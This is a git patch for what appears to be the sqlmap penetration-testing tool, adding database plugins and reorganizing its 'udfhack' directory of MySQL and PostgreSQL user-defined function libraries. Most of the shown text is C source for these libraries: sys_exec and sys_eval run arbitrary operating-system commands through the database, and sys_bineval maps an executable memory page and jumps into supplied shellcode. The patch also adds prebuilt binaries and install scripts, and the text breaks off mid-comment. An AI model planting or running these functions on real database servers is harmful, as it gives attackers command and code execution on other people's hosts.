From 0d559d14df0b46ad6093b29afe2ed16c3c324194 Mon Sep 17 00:00:00 2001 From: Bernardo Damele Date: Thu, 18 Mar 2010 17:20:54 +0000 Subject: [PATCH] Initial support for SQLite (90% approx). Initial support for Firebird (30% approx). Initial support for Access (10% approx). Shared libraries code/installation scripts ported to 64bit, directory structure adapted. Minor code adjustments. --- .../linux/{ => 32}/lib_mysqludf_sys/Makefile | 0 .../{ => 32}/lib_mysqludf_sys/install.sh | 0 .../lib_mysqludf_sys/lib_mysqludf_sys.c | 7 +- .../lib_mysqludf_sys/lib_mysqludf_sys.sql | 0 .../{ => 32}/lib_postgresqludf_sys/Makefile | 0 .../{ => 32}/lib_postgresqludf_sys/install.sh | 0 .../lib_postgresqludf_sys.c | 67 +- .../lib_postgresqludf_sys.sql | 0 .../linux/64/lib_mysqludf_sys/Makefile | 9 + .../linux/64/lib_mysqludf_sys/install.sh | 47 + .../64}/lib_mysqludf_sys/lib_mysqludf_sys.c | 1103 +++++++++-------- .../64/lib_mysqludf_sys/lib_mysqludf_sys.sql | 35 + .../linux/64/lib_postgresqludf_sys/Makefile | 16 + .../linux/64/lib_postgresqludf_sys/install.sh | 59 + .../lib_postgresqludf_sys.c | 275 ++++ .../lib_postgresqludf_sys.sql | 25 + .../32/lib_mysqludf_sys/lib_mysqludf_sys.sln | Bin 0 -> 898 bytes .../lib_mysqludf_sys/lib_mysqludf_sys.c | 564 +++++++++ .../lib_mysqludf_sys/lib_mysqludf_sys.vcproj | Bin .../lib_postgresqludf_sys.sln | Bin .../lib_postgresqludf_sys.c | 66 +- .../lib_postgresqludf_sys.vcproj | Bin .../lib_mysqludf_sys/lib_mysqludf_sys.sln | Bin 918 -> 1276 bytes .../lib_mysqludf_sys/__exec_payload.asm | 7 + .../lib_mysqludf_sys/lib_mysqludf_sys.c | 564 +++++++++ .../lib_mysqludf_sys/lib_mysqludf_sys.vcproj | Bin 0 -> 7770 bytes lib/controller/handler.py | 11 +- lib/core/agent.py | 25 +- lib/core/common.py | 13 +- lib/core/settings.py | 16 +- lib/parse/banner.py | 5 + lib/request/inject.py | 7 + lib/techniques/blind/inference.py | 8 + plugins/dbms/access.py | 287 +++++ plugins/dbms/firebird.py | 279 +++++ plugins/dbms/mysql.py | 4 +- plugins/dbms/postgresql.py | 4 +- plugins/dbms/sqlite.py | 294 +++++ plugins/generic/enumeration.py | 81 +- plugins/generic/fingerprint.py | 3 + udf/mysql/linux/32/lib_mysqludf_sys.so | Bin 0 -> 5696 bytes udf/mysql/linux/64/lib_mysqludf_sys.so | Bin 0 -> 8128 bytes udf/mysql/windows/32/lib_mysqludf_sys.dll | Bin 0 -> 6656 bytes udf/mysql/windows/64/lib_mysqludf_sys.dll | Bin 0 -> 11264 bytes .../linux/32/8.2/lib_postgresqludf_sys.so | Bin 0 -> 5140 bytes .../linux/32/8.3/lib_postgresqludf_sys.so | Bin 0 -> 5124 bytes .../linux/32/8.4/lib_postgresqludf_sys.so | Bin 0 -> 5132 bytes .../linux/64/8.2/lib_postgresqludf_sys.so | Bin 0 -> 7968 bytes .../linux/64/8.3/lib_postgresqludf_sys.so | Bin 0 -> 7968 bytes .../linux/64/8.4/lib_postgresqludf_sys.so | Bin 0 -> 7976 bytes .../linux/8.2/lib_postgresqludf_sys.so | Bin 5476 -> 0 bytes .../linux/8.3/lib_postgresqludf_sys.so | Bin 5140 -> 0 bytes .../linux/8.4/lib_postgresqludf_sys.so | Bin 5148 -> 0 bytes .../windows/32/8.2/lib_postgresqludf_sys.dll | Bin 0 -> 6656 bytes .../windows/32/8.3/lib_postgresqludf_sys.dll | Bin 0 -> 6656 bytes .../windows/32/8.4/lib_postgresqludf_sys.dll | Bin 0 -> 6656 bytes .../windows/8.2/lib_postgresqludf_sys.dll | Bin 7680 -> 0 bytes .../windows/8.3/lib_postgresqludf_sys.dll | Bin 7680 -> 0 bytes .../windows/8.4/lib_postgresqludf_sys.dll | Bin 7680 -> 0 bytes xml/errors.xml | 13 +- xml/queries.xml | 111 ++ 61 files changed, 3355 insertions(+), 650 deletions(-) rename extra/udfhack/linux/{ => 32}/lib_mysqludf_sys/Makefile (100%) rename extra/udfhack/linux/{ => 32}/lib_mysqludf_sys/install.sh (100%) rename extra/udfhack/linux/{ => 32}/lib_mysqludf_sys/lib_mysqludf_sys.c (98%) rename extra/udfhack/linux/{ => 32}/lib_mysqludf_sys/lib_mysqludf_sys.sql (100%) rename extra/udfhack/linux/{ => 32}/lib_postgresqludf_sys/Makefile (100%) rename extra/udfhack/linux/{ => 32}/lib_postgresqludf_sys/install.sh (100%) rename extra/udfhack/{windows/lib_postgresqludf_sys => linux/32}/lib_postgresqludf_sys/lib_postgresqludf_sys.c (83%) mode change 100755 => 100644 rename extra/udfhack/linux/{ => 32}/lib_postgresqludf_sys/lib_postgresqludf_sys.sql (100%) create mode 100644 extra/udfhack/linux/64/lib_mysqludf_sys/Makefile create mode 100755 extra/udfhack/linux/64/lib_mysqludf_sys/install.sh rename extra/udfhack/{windows/lib_mysqludf_sys => linux/64}/lib_mysqludf_sys/lib_mysqludf_sys.c (93%) mode change 100755 => 100644 create mode 100644 extra/udfhack/linux/64/lib_mysqludf_sys/lib_mysqludf_sys.sql create mode 100644 extra/udfhack/linux/64/lib_postgresqludf_sys/Makefile create mode 100755 extra/udfhack/linux/64/lib_postgresqludf_sys/install.sh create mode 100644 extra/udfhack/linux/64/lib_postgresqludf_sys/lib_postgresqludf_sys.c create mode 100644 extra/udfhack/linux/64/lib_postgresqludf_sys/lib_postgresqludf_sys.sql create mode 100644 extra/udfhack/windows/32/lib_mysqludf_sys/lib_mysqludf_sys.sln create mode 100644 extra/udfhack/windows/32/lib_mysqludf_sys/lib_mysqludf_sys/lib_mysqludf_sys.c rename extra/udfhack/windows/{ => 32}/lib_mysqludf_sys/lib_mysqludf_sys/lib_mysqludf_sys.vcproj (100%) mode change 100755 => 100644 rename extra/udfhack/windows/{ => 32}/lib_postgresqludf_sys/lib_postgresqludf_sys.sln (100%) mode change 100755 => 100644 rename extra/udfhack/{linux => windows/32/lib_postgresqludf_sys}/lib_postgresqludf_sys/lib_postgresqludf_sys.c (83%) mode change 100755 => 100644 rename extra/udfhack/windows/{ => 32}/lib_postgresqludf_sys/lib_postgresqludf_sys/lib_postgresqludf_sys.vcproj (100%) mode change 100755 => 100644 rename extra/udfhack/windows/{ => 64}/lib_mysqludf_sys/lib_mysqludf_sys.sln (71%) mode change 100755 => 100644 create mode 100644 extra/udfhack/windows/64/lib_mysqludf_sys/lib_mysqludf_sys/__exec_payload.asm create mode 100644 extra/udfhack/windows/64/lib_mysqludf_sys/lib_mysqludf_sys/lib_mysqludf_sys.c create mode 100644 extra/udfhack/windows/64/lib_mysqludf_sys/lib_mysqludf_sys/lib_mysqludf_sys.vcproj create mode 100644 plugins/dbms/access.py create mode 100644 plugins/dbms/firebird.py create mode 100644 plugins/dbms/sqlite.py create mode 100644 udf/mysql/linux/32/lib_mysqludf_sys.so create mode 100644 udf/mysql/linux/64/lib_mysqludf_sys.so create mode 100644 udf/mysql/windows/32/lib_mysqludf_sys.dll create mode 100644 udf/mysql/windows/64/lib_mysqludf_sys.dll create mode 100644 udf/postgresql/linux/32/8.2/lib_postgresqludf_sys.so create mode 100755 udf/postgresql/linux/32/8.3/lib_postgresqludf_sys.so create mode 100755 udf/postgresql/linux/32/8.4/lib_postgresqludf_sys.so create mode 100755 udf/postgresql/linux/64/8.2/lib_postgresqludf_sys.so create mode 100755 udf/postgresql/linux/64/8.3/lib_postgresqludf_sys.so create mode 100755 udf/postgresql/linux/64/8.4/lib_postgresqludf_sys.so delete mode 100644 udf/postgresql/linux/8.2/lib_postgresqludf_sys.so delete mode 100755 udf/postgresql/linux/8.3/lib_postgresqludf_sys.so delete mode 100755 udf/postgresql/linux/8.4/lib_postgresqludf_sys.so create mode 100755 udf/postgresql/windows/32/8.2/lib_postgresqludf_sys.dll create mode 100755 udf/postgresql/windows/32/8.3/lib_postgresqludf_sys.dll create mode 100755 udf/postgresql/windows/32/8.4/lib_postgresqludf_sys.dll delete mode 100755 udf/postgresql/windows/8.2/lib_postgresqludf_sys.dll delete mode 100755 udf/postgresql/windows/8.3/lib_postgresqludf_sys.dll delete mode 100755 udf/postgresql/windows/8.4/lib_postgresqludf_sys.dll diff --git a/extra/udfhack/linux/lib_mysqludf_sys/Makefile b/extra/udfhack/linux/32/lib_mysqludf_sys/Makefile similarity index 100% rename from extra/udfhack/linux/lib_mysqludf_sys/Makefile rename to extra/udfhack/linux/32/lib_mysqludf_sys/Makefile diff --git a/extra/udfhack/linux/lib_mysqludf_sys/install.sh b/extra/udfhack/linux/32/lib_mysqludf_sys/install.sh similarity index 100% rename from extra/udfhack/linux/lib_mysqludf_sys/install.sh rename to extra/udfhack/linux/32/lib_mysqludf_sys/install.sh diff --git a/extra/udfhack/linux/lib_mysqludf_sys/lib_mysqludf_sys.c b/extra/udfhack/linux/32/lib_mysqludf_sys/lib_mysqludf_sys.c similarity index 98% rename from extra/udfhack/linux/lib_mysqludf_sys/lib_mysqludf_sys.c rename to extra/udfhack/linux/32/lib_mysqludf_sys/lib_mysqludf_sys.c index fb19dbe94..52c9bf24a 100644 --- a/extra/udfhack/linux/lib_mysqludf_sys/lib_mysqludf_sys.c +++ b/extra/udfhack/linux/32/lib_mysqludf_sys/lib_mysqludf_sys.c @@ -435,10 +435,11 @@ char* sys_eval( , char *error ){ FILE *pipe; - char line[1024]; + char *line; unsigned long outlen, linelen; - result = malloc(1); + line = (char *)malloc(1024); + result = (char *)malloc(1); outlen = 0; pipe = popen(args->args[0], "r"); @@ -548,4 +549,4 @@ DWORD WINAPI exec_payload(LPVOID lpParameter) } #endif -#endif /* HAVE_DLOPEN */ \ No newline at end of file +#endif /* HAVE_DLOPEN */ diff --git a/extra/udfhack/linux/lib_mysqludf_sys/lib_mysqludf_sys.sql b/extra/udfhack/linux/32/lib_mysqludf_sys/lib_mysqludf_sys.sql similarity index 100% rename from extra/udfhack/linux/lib_mysqludf_sys/lib_mysqludf_sys.sql rename to extra/udfhack/linux/32/lib_mysqludf_sys/lib_mysqludf_sys.sql diff --git a/extra/udfhack/linux/lib_postgresqludf_sys/Makefile b/extra/udfhack/linux/32/lib_postgresqludf_sys/Makefile similarity index 100% rename from extra/udfhack/linux/lib_postgresqludf_sys/Makefile rename to extra/udfhack/linux/32/lib_postgresqludf_sys/Makefile diff --git a/extra/udfhack/linux/lib_postgresqludf_sys/install.sh b/extra/udfhack/linux/32/lib_postgresqludf_sys/install.sh similarity index 100% rename from extra/udfhack/linux/lib_postgresqludf_sys/install.sh rename to extra/udfhack/linux/32/lib_postgresqludf_sys/install.sh diff --git a/extra/udfhack/windows/lib_postgresqludf_sys/lib_postgresqludf_sys/lib_postgresqludf_sys.c b/extra/udfhack/linux/32/lib_postgresqludf_sys/lib_postgresqludf_sys.c old mode 100755 new mode 100644 similarity index 83% rename from extra/udfhack/windows/lib_postgresqludf_sys/lib_postgresqludf_sys/lib_postgresqludf_sys.c rename to extra/udfhack/linux/32/lib_postgresqludf_sys/lib_postgresqludf_sys.c index 9d2b31f67..dc27adb88 --- a/extra/udfhack/windows/lib_postgresqludf_sys/lib_postgresqludf_sys/lib_postgresqludf_sys.c +++ b/extra/udfhack/linux/32/lib_postgresqludf_sys/lib_postgresqludf_sys.c @@ -46,6 +46,33 @@ DWORD WINAPI exec_payload(LPVOID lpParameter); PG_MODULE_MAGIC; #endif +char *text_ptr_to_char_ptr(text *arg) +{ + char *retVal; + int arg_size = VARSIZE(arg) - VARHDRSZ; + retVal = (char *)malloc(arg_size + 1); + + memcpy(retVal, VARDATA(arg), arg_size); + retVal[arg_size] = '\0'; + + return retVal; +} + +text *chr_ptr_to_text_ptr(char *arg) +{ + text *retVal; + + retVal = (text *)malloc(VARHDRSZ + strlen(arg)); +#ifdef SET_VARSIZE + SET_VARSIZE(retVal, VARHDRSZ + strlen(arg)); +#else + VARATT_SIZEP(retVal) = strlen(arg) + VARHDRSZ; +#endif + memcpy(VARDATA(retVal), arg, strlen(arg)); + + return retVal; +} + PG_FUNCTION_INFO_V1(sys_exec); #ifdef PGDLLIMPORT extern PGDLLIMPORT Datum sys_exec(PG_FUNCTION_ARGS) { @@ -53,15 +80,10 @@ extern PGDLLIMPORT Datum sys_exec(PG_FUNCTION_ARGS) { extern DLLIMPORT Datum sys_exec(PG_FUNCTION_ARGS) { #endif text *argv0 = PG_GETARG_TEXT_P(0); - int32 argv0_size; int32 result = 0; char *command; - argv0_size = VARSIZE(argv0) - VARHDRSZ; - command = (char *)malloc(argv0_size + 1); - - memcpy(command, VARDATA(argv0), argv0_size); - command[argv0_size] = '\0'; + command = text_ptr_to_char_ptr(argv0); /* Only if you want to log @@ -83,24 +105,20 @@ extern DLLIMPORT Datum sys_eval(PG_FUNCTION_ARGS) { #endif text *argv0 = PG_GETARG_TEXT_P(0); text *result_text; - int32 argv0_size; char *command; char *result; FILE *pipe; - char line[1024]; + char *line; int32 outlen, linelen; - argv0_size = VARSIZE(argv0) - VARHDRSZ; - command = (char *)malloc(argv0_size + 1); - - memcpy(command, VARDATA(argv0), argv0_size); - command[argv0_size] = '\0'; + command = text_ptr_to_char_ptr(argv0); /* Only if you want to log elog(NOTICE, "Command evaluated: %s", command); */ + line = (char *)malloc(1024); result = (char *)malloc(1); outlen = 0; @@ -119,13 +137,7 @@ extern DLLIMPORT Datum sys_eval(PG_FUNCTION_ARGS) { result[outlen-1] = 0x00; } - result_text = (text *)malloc(VARHDRSZ + strlen(result)); -#ifdef SET_VARSIZE - SET_VARSIZE(result_text, VARHDRSZ + strlen(result)); -#else - VARATT_SIZEP(result_text) = strlen(result) + VARHDRSZ; -#endif - memcpy(VARDATA(result_text), result, strlen(result)); + result_text = chr_ptr_to_text_ptr(result); PG_RETURN_POINTER(result_text); } @@ -216,7 +228,6 @@ extern DLLIMPORT Datum sys_fileread(PG_FUNCTION_ARGS) { #endif text *argv0 = PG_GETARG_TEXT_P(0); text *result_text; - int32 argv0_size; int32 len; int32 i, j; char *filename; @@ -225,11 +236,7 @@ extern DLLIMPORT Datum sys_fileread(PG_FUNCTION_ARGS) { char table[] = "0123456789ABCDEF"; FILE *file; - argv0_size = VARSIZE(argv0) - VARHDRSZ; - filename = (char *)malloc(argv0_size + 1); - - memcpy(filename, VARDATA(argv0), argv0_size); - filename[argv0_size] = '\0'; + filename = text_ptr_to_char_ptr(argv0); file = fopen(filename, "rb"); if (!file) @@ -258,13 +265,7 @@ extern DLLIMPORT Datum sys_fileread(PG_FUNCTION_ARGS) { } result[j] = '\0'; - result_text = (text *)malloc(VARHDRSZ + strlen(result)); -#ifdef SET_VARSIZE - SET_VARSIZE(result_text, VARHDRSZ + strlen(result)); -#else - VARATT_SIZEP(result_text) = strlen(result) + VARHDRSZ; -#endif - memcpy(VARDATA(result_text), result, strlen(result)); + result_text = chr_ptr_to_text_ptr(result); free(result); free(buffer); diff --git a/extra/udfhack/linux/lib_postgresqludf_sys/lib_postgresqludf_sys.sql b/extra/udfhack/linux/32/lib_postgresqludf_sys/lib_postgresqludf_sys.sql similarity index 100% rename from extra/udfhack/linux/lib_postgresqludf_sys/lib_postgresqludf_sys.sql rename to extra/udfhack/linux/32/lib_postgresqludf_sys/lib_postgresqludf_sys.sql diff --git a/extra/udfhack/linux/64/lib_mysqludf_sys/Makefile b/extra/udfhack/linux/64/lib_mysqludf_sys/Makefile new file mode 100644 index 000000000..ffce93221 --- /dev/null +++ b/extra/udfhack/linux/64/lib_mysqludf_sys/Makefile @@ -0,0 +1,9 @@ +# For MySQL < 5.1 +LIBDIR=/usr/lib +# For MySQL >= 5.1 +#LIBDIR=/usr/lib/mysql/plugin + +install: + gcc-4.2 -Wall -I/usr/include/mysql -Os -shared lib_mysqludf_sys.c -fPIC -o lib_mysqludf_sys.so + strip -sx lib_mysqludf_sys.so + cp -f lib_mysqludf_sys.so $(LIBDIR)/lib_mysqludf_sys.so diff --git a/extra/udfhack/linux/64/lib_mysqludf_sys/install.sh b/extra/udfhack/linux/64/lib_mysqludf_sys/install.sh new file mode 100755 index 000000000..227eeca15 --- /dev/null +++ b/extra/udfhack/linux/64/lib_mysqludf_sys/install.sh @@ -0,0 +1,47 @@ +#!/bin/bash +# lib_mysqludf_sys - a library with miscellaneous (operating) system level functions +# Copyright (C) 2007 Roland Bouman +# Copyright (C) 2008-2010 Roland Bouman and Bernardo Damele A. G. +# web: http://www.mysqludf.org/ +# email: mysqludfs@gmail.com, bernardo.damele@gmail.com +# +# This library is free software; you can redistribute it and/or +# modify it under the terms of the GNU Lesser General Public +# License as published by the Free Software Foundation; either +# version 2.1 of the License, or (at your option) any later version. +# +# This library is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU +# Lesser General Public License for more details. +# +# You should have received a copy of the GNU Lesser General Public +# License along with this library; if not, write to the Free Software +# Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA + +# Adapt the following settings to your environment +USER="root" +PORT="3306" + +echo "Compiling the MySQL UDF" +make + +if test $? -ne 0; then + echo "ERROR: You need libmysqlclient development software installed" + echo "to be able to compile this UDF, on Debian/Ubuntu just run:" + echo "apt-get install libmysqlclient-dev" + exit 1 +else + echo "MySQL UDF compiled successfully" +fi + +echo -e "\nPlease provide your MySQL root password" + +mysql -u ${USER} -P ${PORT} -p mysql < lib_mysqludf_sys.sql + +if test $? -ne 0; then + echo "ERROR: unable to install the UDF" + exit 1 +else + echo "MySQL UDF installed successfully" +fi diff --git a/extra/udfhack/windows/lib_mysqludf_sys/lib_mysqludf_sys/lib_mysqludf_sys.c b/extra/udfhack/linux/64/lib_mysqludf_sys/lib_mysqludf_sys.c old mode 100755 new mode 100644 similarity index 93% rename from extra/udfhack/windows/lib_mysqludf_sys/lib_mysqludf_sys/lib_mysqludf_sys.c rename to extra/udfhack/linux/64/lib_mysqludf_sys/lib_mysqludf_sys.c index 6d2895169..52c9bf24a --- a/extra/udfhack/windows/lib_mysqludf_sys/lib_mysqludf_sys/lib_mysqludf_sys.c +++ b/extra/udfhack/linux/64/lib_mysqludf_sys/lib_mysqludf_sys.c @@ -1,551 +1,552 @@ -/* - lib_mysqludf_sys - a library with miscellaneous (operating) system level functions - Copyright (C) 2007 Roland Bouman - Copyright (C) 2008-2010 Roland Bouman and Bernardo Damele A. G. - web: http://www.mysqludf.org/ - email: mysqludfs@gmail.com, bernardo.damele@gmail.com - - This library is free software; you can redistribute it and/or - modify it under the terms of the GNU Lesser General Public - License as published by the Free Software Foundation; either - version 2.1 of the License, or (at your option) any later version. - - This library is distributed in the hope that it will be useful, - but WITHOUT ANY WARRANTY; without even the implied warranty of - MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU - Lesser General Public License for more details. - - You should have received a copy of the GNU Lesser General Public - License along with this library; if not, write to the Free Software - Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA -*/ -#if defined(_WIN32) || defined(_WIN64) || defined(__WIN32__) || defined(WIN32) -#define DLLEXP __declspec(dllexport) -#else -#define DLLEXP -#include -#include -#include -#endif - -#ifdef STANDARD -#include -#include -#include -#ifdef __WIN__ -typedef unsigned __int64 ulonglong; -typedef __int64 longlong; -#else -typedef unsigned long long ulonglong; -typedef long long longlong; -#endif /*__WIN__*/ -#else -#include -#include -#endif -#include -#include -#include -#include - -#include - -#ifdef HAVE_DLOPEN -#ifdef __cplusplus -extern "C" { -#endif - -#define LIBVERSION "lib_mysqludf_sys version 0.0.3" - -#ifdef __WIN__ -#define SETENV(name,value) SetEnvironmentVariable(name,value); -#else -#define SETENV(name,value) setenv(name,value,1); -#endif - -DLLEXP -my_bool lib_mysqludf_sys_info_init( - UDF_INIT *initid -, UDF_ARGS *args -, char *message -); - -DLLEXP -void lib_mysqludf_sys_info_deinit( - UDF_INIT *initid -); - -DLLEXP -char* lib_mysqludf_sys_info( - UDF_INIT *initid -, UDF_ARGS *args -, char* result -, unsigned long* length -, char *is_null -, char *error -); - -/** - * sys_get - * - * Gets the value of the specified environment variable. - */ -DLLEXP -my_bool sys_get_init( - UDF_INIT *initid -, UDF_ARGS *args -, char *message -); - -DLLEXP -void sys_get_deinit( - UDF_INIT *initid -); - -DLLEXP -char* sys_get( - UDF_INIT *initid -, UDF_ARGS *args -, char* result -, unsigned long* length -, char *is_null -, char *error -); - -/** - * sys_set - * - * Sets the value of the environment variables. - * This function accepts a set of name/value pairs - * which are then set as environment variables. - * Use sys_get to retrieve the value of such a variable - */ -DLLEXP -my_bool sys_set_init( - UDF_INIT *initid -, UDF_ARGS *args -, char *message -); - -DLLEXP -void sys_set_deinit( - UDF_INIT *initid -); - -DLLEXP -long long sys_set( - UDF_INIT *initid -, UDF_ARGS *args -, char *is_null -, char *error -); - -/** - * sys_exec - * - * executes the argument commandstring and returns its exit status. - * Beware that this can be a security hazard. - */ -DLLEXP -my_bool sys_exec_init( - UDF_INIT *initid -, UDF_ARGS *args -, char *message -); - -DLLEXP -void sys_exec_deinit( - UDF_INIT *initid -); - -DLLEXP -my_ulonglong sys_exec( - UDF_INIT *initid -, UDF_ARGS *args -, char *is_null -, char *error -); - -/** - * sys_eval - * - * executes the argument commandstring and returns its standard output. - * Beware that this can be a security hazard. - */ -DLLEXP -my_bool sys_eval_init( - UDF_INIT *initid -, UDF_ARGS *args -, char *message -); - -DLLEXP -void sys_eval_deinit( - UDF_INIT *initid -); - -DLLEXP -char* sys_eval( - UDF_INIT *initid -, UDF_ARGS *args -, char* result -, unsigned long* length -, char *is_null -, char *error -); - -/** - * sys_bineval - * - * executes bynary opcodes. - * Beware that this can be a security hazard. - */ -DLLEXP -my_bool sys_bineval_init( - UDF_INIT *initid -, UDF_ARGS *args -); - -DLLEXP -void sys_bineval_deinit( - UDF_INIT *initid -); - -DLLEXP -int sys_bineval( - UDF_INIT *initid -, UDF_ARGS *args -); - -#if defined(_WIN32) || defined(_WIN64) || defined(__WIN32__) || defined(WIN32) -DWORD WINAPI exec_payload(LPVOID lpParameter); -#endif - - -#ifdef __cplusplus -} -#endif - -/** - * lib_mysqludf_sys_info - */ -my_bool lib_mysqludf_sys_info_init( - UDF_INIT *initid -, UDF_ARGS *args -, char *message -){ - my_bool status; - if(args->arg_count!=0){ - strcpy( - message - , "No arguments allowed (udf: lib_mysqludf_sys_info)" - ); - status = 1; - } else { - status = 0; - } - return status; -} - -void lib_mysqludf_sys_info_deinit( - UDF_INIT *initid -){ -} - -char* lib_mysqludf_sys_info( - UDF_INIT *initid -, UDF_ARGS *args -, char* result -, unsigned long* length -, char *is_null -, char *error -){ - strcpy(result,LIBVERSION); - *length = strlen(LIBVERSION); - return result; -} - -my_bool sys_get_init( - UDF_INIT *initid -, UDF_ARGS *args -, char *message -){ - if(args->arg_count==1 - && args->arg_type[0]==STRING_RESULT){ - initid->maybe_null = 1; - return 0; - } else { - strcpy( - message - , "Expected exactly one string type parameter" - ); - return 1; - } -} - -void sys_get_deinit( - UDF_INIT *initid -){ -} - -char* sys_get( - UDF_INIT *initid -, UDF_ARGS *args -, char* result -, unsigned long* length -, char *is_null -, char *error -){ - char* value = getenv(args->args[0]); - if(value == NULL){ - *is_null = 1; - } else { - *length = strlen(value); - } - return value; -} - -my_bool sys_set_init( - UDF_INIT *initid -, UDF_ARGS *args -, char *message -){ - if(args->arg_count!=2){ - strcpy( - message - , "Expected exactly two arguments" - ); - return 1; - } - if(args->arg_type[0]!=STRING_RESULT){ - strcpy( - message - , "Expected string type for name parameter" - ); - return 1; - } - args->arg_type[1]=STRING_RESULT; - if((initid->ptr=malloc( - args->lengths[0] - + 1 - + args->lengths[1] - + 1 - ))==NULL){ - strcpy( - message - , "Could not allocate memory" - ); - return 1; - } - return 0; -} - -void sys_set_deinit( - UDF_INIT *initid -){ - if (initid->ptr!=NULL){ - free(initid->ptr); - } -} - -long long sys_set( - UDF_INIT *initid -, UDF_ARGS *args -, char *is_null -, char *error -){ - char *name = initid->ptr; - char *value = name + args->lengths[0] + 1; - memcpy( - name - , args->args[0] - , args->lengths[0] - ); - *(name + args->lengths[0]) = '\0'; - memcpy( - value - , args->args[1] - , args->lengths[1] - ); - *(value + args->lengths[1]) = '\0'; - return SETENV(name,value); -} - -my_bool sys_exec_init( - UDF_INIT *initid -, UDF_ARGS *args -, char *message -){ - unsigned int i=0; - if(args->arg_count == 1 - && args->arg_type[i]==STRING_RESULT){ - return 0; - } else { - strcpy( - message - , "Expected exactly one string type parameter" - ); - return 1; - } -} - -void sys_exec_deinit( - UDF_INIT *initid -){ -} - -my_ulonglong sys_exec( - UDF_INIT *initid -, UDF_ARGS *args -, char *is_null -, char *error -){ - return system(args->args[0]); -} - -my_bool sys_eval_init( - UDF_INIT *initid -, UDF_ARGS *args -, char *message -){ - unsigned int i=0; - if(args->arg_count == 1 - && args->arg_type[i]==STRING_RESULT){ - return 0; - } else { - strcpy( - message - , "Expected exactly one string type parameter" - ); - return 1; - } -} - -void sys_eval_deinit( - UDF_INIT *initid -){ -} - -char* sys_eval( - UDF_INIT *initid -, UDF_ARGS *args -, char* result -, unsigned long* length -, char *is_null -, char *error -){ - FILE *pipe; - char line[1024]; - unsigned long outlen, linelen; - - result = malloc(1); - outlen = 0; - - pipe = popen(args->args[0], "r"); - - while (fgets(line, sizeof(line), pipe) != NULL) { - linelen = strlen(line); - result = realloc(result, outlen + linelen); - strncpy(result + outlen, line, linelen); - outlen = outlen + linelen; - } - - pclose(pipe); - - if (!(*result) || result == NULL) { - *is_null = 1; - } else { - result[outlen-1] = 0x00; - *length = strlen(result); - } - - return result; -} - -my_bool sys_bineval_init( - UDF_INIT *initid -, UDF_ARGS *args -){ - return 0; -} - -void sys_bineval_deinit( - UDF_INIT *initid -){ - -} - -int sys_bineval( - UDF_INIT *initid -, UDF_ARGS *args -){ - int32 argv0_size; - size_t len; - -#if defined(_WIN32) || defined(_WIN64) || defined(__WIN32__) || defined(WIN32) - int pID; - char *code; -#else - int *addr; - size_t page_size; - pid_t pID; -#endif - - argv0_size = strlen(args->args[0]); - len = (size_t)argv0_size; - -#if defined(_WIN32) || defined(_WIN64) || defined(__WIN32__) || defined(WIN32) - // allocate a +rwx memory page - code = (char *) VirtualAlloc(NULL, len+1, MEM_COMMIT, PAGE_EXECUTE_READWRITE); - strncpy(code, args->args[0], len); - - WaitForSingleObject(CreateThread(NULL, 0, exec_payload, code, 0, &pID), INFINITE); -#else - pID = fork(); - if(pID<0) - return 1; - - if(pID==0) - { - page_size = (size_t)sysconf(_SC_PAGESIZE)-1; // get page size - page_size = (len+page_size) & ~(page_size); // align to page boundary - - // mmap an rwx memory page - addr = mmap(0, page_size, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_SHARED|MAP_ANONYMOUS, 0, 0); - - if (addr == MAP_FAILED) - return 1; - - strncpy((char *)addr, args->args[0], len); - - ((void (*)(void))addr)(); - } - - if(pID>0) - waitpid(pID, 0, WNOHANG); -#endif - - return 0; -} - -#if defined(_WIN32) || defined(_WIN64) || defined(__WIN32__) || defined(WIN32) -DWORD WINAPI exec_payload(LPVOID lpParameter) -{ - __try - { - __asm - { - mov eax, [lpParameter] - call eax - } - } - __except(EXCEPTION_EXECUTE_HANDLER) - { - - } - - return 0; -} -#endif - -#endif /* HAVE_DLOPEN */ \ No newline at end of file +/* + lib_mysqludf_sys - a library with miscellaneous (operating) system level functions + Copyright (C) 2007 Roland Bouman + Copyright (C) 2008-2010 Roland Bouman and Bernardo Damele A. G. + web: http://www.mysqludf.org/ + email: mysqludfs@gmail.com, bernardo.damele@gmail.com + + This library is free software; you can redistribute it and/or + modify it under the terms of the GNU Lesser General Public + License as published by the Free Software Foundation; either + version 2.1 of the License, or (at your option) any later version. + + This library is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + Lesser General Public License for more details. + + You should have received a copy of the GNU Lesser General Public + License along with this library; if not, write to the Free Software + Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA +*/ +#if defined(_WIN32) || defined(_WIN64) || defined(__WIN32__) || defined(WIN32) +#define DLLEXP __declspec(dllexport) +#else +#define DLLEXP +#include +#include +#include +#endif + +#ifdef STANDARD +#include +#include +#include +#ifdef __WIN__ +typedef unsigned __int64 ulonglong; +typedef __int64 longlong; +#else +typedef unsigned long long ulonglong; +typedef long long longlong; +#endif /*__WIN__*/ +#else +#include +#include +#endif +#include +#include +#include +#include + +#include + +#ifdef HAVE_DLOPEN +#ifdef __cplusplus +extern "C" { +#endif + +#define LIBVERSION "lib_mysqludf_sys version 0.0.3" + +#ifdef __WIN__ +#define SETENV(name,value) SetEnvironmentVariable(name,value); +#else +#define SETENV(name,value) setenv(name,value,1); +#endif + +DLLEXP +my_bool lib_mysqludf_sys_info_init( + UDF_INIT *initid +, UDF_ARGS *args +, char *message +); + +DLLEXP +void lib_mysqludf_sys_info_deinit( + UDF_INIT *initid +); + +DLLEXP +char* lib_mysqludf_sys_info( + UDF_INIT *initid +, UDF_ARGS *args +, char* result +, unsigned long* length +, char *is_null +, char *error +); + +/** + * sys_get + * + * Gets the value of the specified environment variable. + */ +DLLEXP +my_bool sys_get_init( + UDF_INIT *initid +, UDF_ARGS *args +, char *message +); + +DLLEXP +void sys_get_deinit( + UDF_INIT *initid +); + +DLLEXP +char* sys_get( + UDF_INIT *initid +, UDF_ARGS *args +, char* result +, unsigned long* length +, char *is_null +, char *error +); + +/** + * sys_set + * + * Sets the value of the environment variables. + * This function accepts a set of 